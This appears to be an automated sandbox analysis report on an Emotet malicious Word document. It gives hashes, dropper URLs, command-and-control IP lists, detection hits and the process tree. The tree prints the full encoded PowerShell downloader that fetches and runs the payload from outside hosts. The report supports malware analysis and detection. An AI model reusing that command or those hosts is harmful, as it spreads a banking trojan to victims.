emotet | 9642b47ea1ecb0d6f50bf610dfc1739396ddaedd762aecc336e2cfbd6e06c2bc

Analysis

max time kernel
136s
max time network
132s
platform
windows10_x64
resource
win10
submitted
23/09/2020, 08:11

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General

Target
emotet_e1_9642b47ea1ecb0d6f50bf610dfc1739396ddaedd762aecc336e2cfbd6e06c2bc_2020-09-23__080853108164._doc.doc
Size 154KB
Sample200923-2tt8e2tw5n
SHA256 9642b47ea1ecb0d6f50bf610dfc1739396ddaedd762aecc336e2cfbd6e06c2bc
MD5 56309e8ee0ab36ace433ee75404cc6ba
SHA1 1c8a35d101a44d022007c87f6bc31a5648e978db
SHA512 cc28c0ae8247ea16d115777c8d7dd91081b12631a0537688029bc62015eebf003adc92323235288964286ce5d0749497ddc31ff17bc312540c1004f593118c9e
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://armahouse.com/wp-includes/0/
exe.dropper
http://bitbenderz.com/ali/4Lo/
exe.dropper
http://lagera.com/images/W/
exe.dropper
http://msmartyford.com/assets/OI/
exe.dropper
http://geisterhouse.com/cgi-bin/FE/
exe.dropper
https://konican.com/cgi-bin/nFK/
exe.dropper
https://coolcomputers.info/LLC/zD/

Extracted

Family

emotet

192.81.38.31:80
51.75.33.127:80
37.157.196.117:7080
116.202.23.3:8080
54.37.42.48:8080
2.36.95.106:80
186.103.141.250:443
192.241.146.84:8080
94.176.234.118:443
12.162.84.2:8080
82.230.1.24:80
98.13.75.196:80
190.190.148.27:8080
177.129.17.170:443
202.4.58.197:80
77.90.136.129:8080
77.106.157.34:8080
95.9.180.128:80
83.169.21.32:7080
212.71.237.140:8080
77.238.212.227:80
201.213.177.139:80
78.249.119.122:80
50.28.51.143:8080
80.11.164.185:80
51.38.124.206:80
216.47.196.104:80
174.113.69.136:80
76.168.54.203:80
137.74.106.111:7080
67.247.242.247:80
217.199.160.224:7080
209.236.123.42:8080
199.203.62.165:80
185.94.252.27:443
192.241.143.52:8080
61.92.159.208:8080
185.178.10.77:80
123.51.47.18:80
190.24.243.186:80
64.201.88.132:80
51.15.7.189:80
177.73.0.98:443
74.58.215.226:80
60.93.23.51:80
187.162.248.237:80
152.169.22.67:80
38.88.126.202:8080
91.105.94.200:80
190.163.31.26:80
185.94.252.12:80
170.81.48.2:80
190.2.31.172:80
45.33.77.42:8080
111.67.77.202:8080
190.117.79.209:80
51.255.165.160:8080
110.142.219.51:80
45.16.226.117:443
92.24.50.153:80
178.250.54.208:8080
50.121.220.50:80
181.30.61.163:443
220.109.145.69:80
119.106.216.84:80
191.182.6.118:80
1.226.84.243:8080
87.106.46.107:8080
172.104.169.32:8080
204.225.249.100:7080
82.76.111.249:443
185.183.16.47:80
96.227.52.8:443
190.115.18.139:8080
104.131.103.37:8080
70.32.84.74:8080
186.70.127.199:8090
111.67.12.221:8080
96.245.123.149:80
138.97.60.141:7080
61.197.92.216:80
190.6.193.152:8080
213.197.182.158:8080
45.46.37.97:80
217.13.106.14:8080
104.131.41.185:8080
155.186.0.121:80
51.159.23.217:443
74.136.144.133:80
68.183.170.114:8080
70.32.115.157:8080
5.189.178.202:8080
35.143.99.174:80
5.196.35.138:7080
188.135.15.49:80
68.183.190.199:8080
177.74.228.34:80
185.215.227.107:443
189.2.177.210:443
72.47.248.48:7080
219.92.13.25:80
185.232.182.218:80
65.36.62.20:80
68.69.155.181:80
181.129.96.162:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2092	820	POWeRsHeLL.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/4080-14-0x00000000005E0000-0x00000000005F0000-memory.dmp	emotet
behavioral2/memory/4080-14-0x00000000005E0000-0x00000000005F0000-memory.dmp	emotet
behavioral2/memory/4080-13-0x00000000005C0000-0x00000000005D2000-memory.dmp	emotet
behavioral2/memory/4080-13-0x00000000005C0000-0x00000000005D2000-memory.dmp	emotet
behavioral2/memory/1716-17-0x0000000000670000-0x0000000000682000-memory.dmp	emotet
behavioral2/memory/1716-17-0x0000000000670000-0x0000000000682000-memory.dmp	emotet
behavioral2/memory/1716-18-0x0000000000550000-0x0000000000560000-memory.dmp	emotet
behavioral2/memory/1716-18-0x0000000000550000-0x0000000000560000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	2092	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
4080	X8gm4grj.exe
1716	comsvcs.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\nlmsprep\comsvcs.exe	X8gm4grj.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
344	WINWORD.EXE
344	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2092	POWeRsHeLL.exe
2092	POWeRsHeLL.exe
2092	POWeRsHeLL.exe
1716	comsvcs.exe
1716	comsvcs.exe
1716	comsvcs.exe
1716	comsvcs.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2092	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
344	WINWORD.EXE
344	WINWORD.EXE
344	WINWORD.EXE
344	WINWORD.EXE
344	WINWORD.EXE
344	WINWORD.EXE
344	WINWORD.EXE
344	WINWORD.EXE
344	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2092 wrote to memory of 4080	2092	POWeRsHeLL.exe	79
PID 2092 wrote to memory of 4080	2092	POWeRsHeLL.exe	79
PID 2092 wrote to memory of 4080	2092	POWeRsHeLL.exe	79
PID 4080 wrote to memory of 1716	4080	X8gm4grj.exe	82
PID 4080 wrote to memory of 1716	4080	X8gm4grj.exe	82
PID 4080 wrote to memory of 1716	4080	X8gm4grj.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_9642b47ea1ecb0d6f50bf610dfc1739396ddaedd762aecc336e2cfbd6e06c2bc_2020-09-23__080853108164._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:344

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABLAHoAcQAyADAAaQBsAD0AKAAnAEkAJwArACcAMgB4ACcAKwAoACcAZwAnACsAJwByADcAYwAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUATgB2ADoAVQBzAEUAUgBQAFIATwBmAEkATABFAFwATQBmAGoANAAzAE0AZgBcAGcANABfADgARAB5ADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBjAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAEMAVQBgAFIAaQBUAFkAYABwAFIAbwBUAGAATwBDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAnACkAKwAnACwAJwArACcAIAB0ACcAKwAoACcAbABzADEAMQAnACsAJwAsACcAKwAnACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAFEAdQA5AHkAcQBqADEAIAA9ACAAKAAoACcAWAAnACsAJwA4AGcAJwApACsAKAAnAG0ANAAnACsAJwBnACcAKQArACcAcgBqACcAKQA7ACQAVQBpAGEAMwBtADgAXwA9ACgAJwBTAGkAJwArACcAMgA0ACcAKwAoACcAXwB0ACcAKwAnAGkAJwApACkAOwAkAFAAMABzAHEANAAyAGkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBjACcAKwAnAFYANQAnACkAKwAnAE0AZgAnACsAJwBqADQAJwArACcAMwBtACcAKwAnAGYAJwArACgAJwBjAFYAJwArACcANQBHACcAKQArACgAJwA0ACcAKwAnAF8AOABkACcAKQArACgAJwB5ADQAYwAnACsAJwBWADUAJwApACkALQByAGUAUABMAGEAYwBlACAAKAAnAGMAJwArACcAVgA1ACcAKQAsAFsAYwBoAGEAcgBdADkAMgApACsAJABRAHUAOQB5AHEAagAxACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQARwByAGIAegAwAGoAbgA9ACgAKAAnAEgAXwAnACsAJwBoACcAKQArACgAJwByAHIAJwArACcAcABpACcAKQApADsAJABHAG8AMABiAHoAcgB6AD0AJgAoACcAbgAnACsAJwBlAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABOAGUAVAAuAHcAZQBiAEMAbABpAEUATgB0ADsAJABUAHUAMgBqADIAbwB0AD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAnADoAJwArACgAJwAvACcAKwAnAC8AYQAnACkAKwAoACcAcgAnACsAJwBtACcAKwAnAGEAaABvAHUAcwAnACsAJwBlAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AaQAnACkAKwAoACcAbgAnACsAJwBjAGwAdQBkACcAKQArACcAZQAnACsAKAAnAHMALwAwACcAKwAnAC8AKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACcALwAvACcAKwAoACcAYgAnACsAJwBpAHQAYgAnACkAKwAnAGUAJwArACgAJwBuAGQAZQByAHoAJwArACcALgBjAG8AJwApACsAJwBtACcAKwAoACcALwAnACsAJwBhAGwAJwApACsAJwBpACcAKwAoACcALwAnACsAJwA0AEwAbwAnACkAKwAnAC8AJwArACgAJwAqACcAKwAnAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBsAGEAJwArACcAZwBlACcAKQArACcAcgAnACsAKAAnAGEALgAnACsAJwBjAG8AJwApACsAJwBtACcAKwAnAC8AJwArACgAJwBpAG0AYQBnAGUAcwAnACsAJwAvAFcAJwApACsAJwAvACcAKwAoACcAKgBoAHQAdAAnACsAJwBwADoAJwArACcALwAvACcAKQArACgAJwBtAHMAbQBhACcAKwAnAHIAdAB5AGYAJwArACcAbwByACcAKQArACgAJwBkAC4AJwArACcAYwAnACkAKwAoACcAbwBtACcAKwAnAC8AYQAnACsAJwBzAHMAZQAnACkAKwAoACcAdABzACcAKwAnAC8ATwBJAC8AKgAnACsAJwBoAHQAdAAnACkAKwAoACcAcAA6AC8ALwBnACcAKwAnAGUAJwApACsAKAAnAGkAcwB0ACcAKwAnAGUAcgBoACcAKQArACgAJwBvACcAKwAnAHUAcwAnACkAKwAoACcAZQAuAGMAbwBtACcAKwAnAC8AJwApACsAJwBjACcAKwAoACcAZwBpAC0AJwArACcAYgAnACkAKwAoACcAaQBuACcAKwAnAC8AJwApACsAJwBGACcAKwAoACcARQAvACcAKwAnACoAaAB0AHQAJwApACsAKAAnAHAAcwAnACsAJwA6AC8ALwAnACkAKwAnAGsAbwAnACsAKAAnAG4AaQAnACsAJwBjAGEAbgAnACkAKwAoACcALgBjAG8AJwArACcAbQAnACsAJwAvAGMAJwApACsAJwBnACcAKwAnAGkAJwArACcALQAnACsAJwBiACcAKwAoACcAaQBuAC8AbgBGAEsALwAnACsAJwAqACcAKQArACcAaAAnACsAKAAnAHQAdABwAHMAJwArACcAOgAnACkAKwAoACcALwAvAGMAbwBvACcAKwAnAGwAJwApACsAKAAnAGMAJwArACcAbwBtAHAAdQAnACsAJwB0AGUAJwApACsAJwByACcAKwAoACcAcwAuAGkAJwArACcAbgBmACcAKQArACgAJwBvAC8AJwArACcATAAnACkAKwAoACcATABDAC8AJwArACcAegBEAC8AJwApACkALgAiAFMAUABgAEwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgA5AGcAYQBsAGkAXwA9ACgAJwBRAHEAJwArACgAJwAyACcAKwAnAHgAbAA3ACcAKQArACcAOQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABZAHgAbwB4AHIAYgBfACAAaQBuACAAJABUAHUAMgBqADIAbwB0ACkAewB0AHIAeQB7ACQARwBvADAAYgB6AHIAegAuACIARABvAFcAbgBMAE8AYABBAGAARABmAGkAbABFACIAKAAkAFkAeABvAHgAcgBiAF8ALAAgACQAUAAwAHMAcQA0ADIAaQApADsAJABZAHIAdAAxAHAAdQA2AD0AKAAoACcAVwBqAHIAJwArACcAbQAxAHMAJwApACsAJwBqACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABQADAAcwBxADQAMgBpACkALgAiAGwAYABlAE4ARwBUAEgAIgAgAC0AZwBlACAAMgA1ADcANgAzACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AJwArACcAawBlAC0ASQB0AGUAbQAnACkAKAAkAFAAMABzAHEANAAyAGkAKQA7ACQATgB3AGIAbgBoAHQAYQA9ACgAKAAnAEYAYgBzACcAKwAnAHMAMgAnACkAKwAnAHAAbwAnACkAOwBiAHIAZQBhAGsAOwAkAFYAdQBfADgAdAA0AHkAPQAoACcAUQBnACcAKwAoACcAYgAzACcAKwAnAHkAZQBmACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNAHcANABrADgAYQAyAD0AKAAnAE4AaAAnACsAKAAnAGgAcwAnACsAJwBtACcAKQArACcAYgBkACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2092
- C:\Users\Admin\Mfj43mf\G4_8dy4\X8gm4grj.exe
  "C:\Users\Admin\Mfj43mf\G4_8dy4\X8gm4grj.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:4080
- - C:\Windows\SysWOW64\nlmsprep\comsvcs.exe
    "C:\Windows\SysWOW64\nlmsprep\comsvcs.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1716

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/344-1-0x000001A3AD187000-0x000001A3AD1AF000-memory.dmp

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memory/344-2-0x000001A3AD22B000-0x000001A3AD22E000-memory.dmp

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memory/344-3-0x000001A3AD22B000-0x000001A3AD22E000-memory.dmp

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memory/344-5-0x000001A3AD342000-0x000001A3AD34B000-memory.dmp

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memory/344-6-0x000001A3AD33D000-0x000001A3AD342000-memory.dmp

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memory/344-0-0x00007FFA211F0000-0x00007FFA218B6000-memory.dmp

Download

memory/1716-18-0x0000000000550000-0x0000000000560000-memory.dmp

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memory/1716-17-0x0000000000670000-0x0000000000682000-memory.dmp

Download

memory/2092-9-0x000002D6352C0000-0x000002D6352C1000-memory.dmp

Download

memory/2092-8-0x000002D635110000-0x000002D635111000-memory.dmp

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memory/2092-7-0x00007FFA19E50000-0x00007FFA1A83C000-memory.dmp

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memory/4080-13-0x00000000005C0000-0x00000000005D2000-memory.dmp

Download

memory/4080-14-0x00000000005E0000-0x00000000005F0000-memory.dmp

Download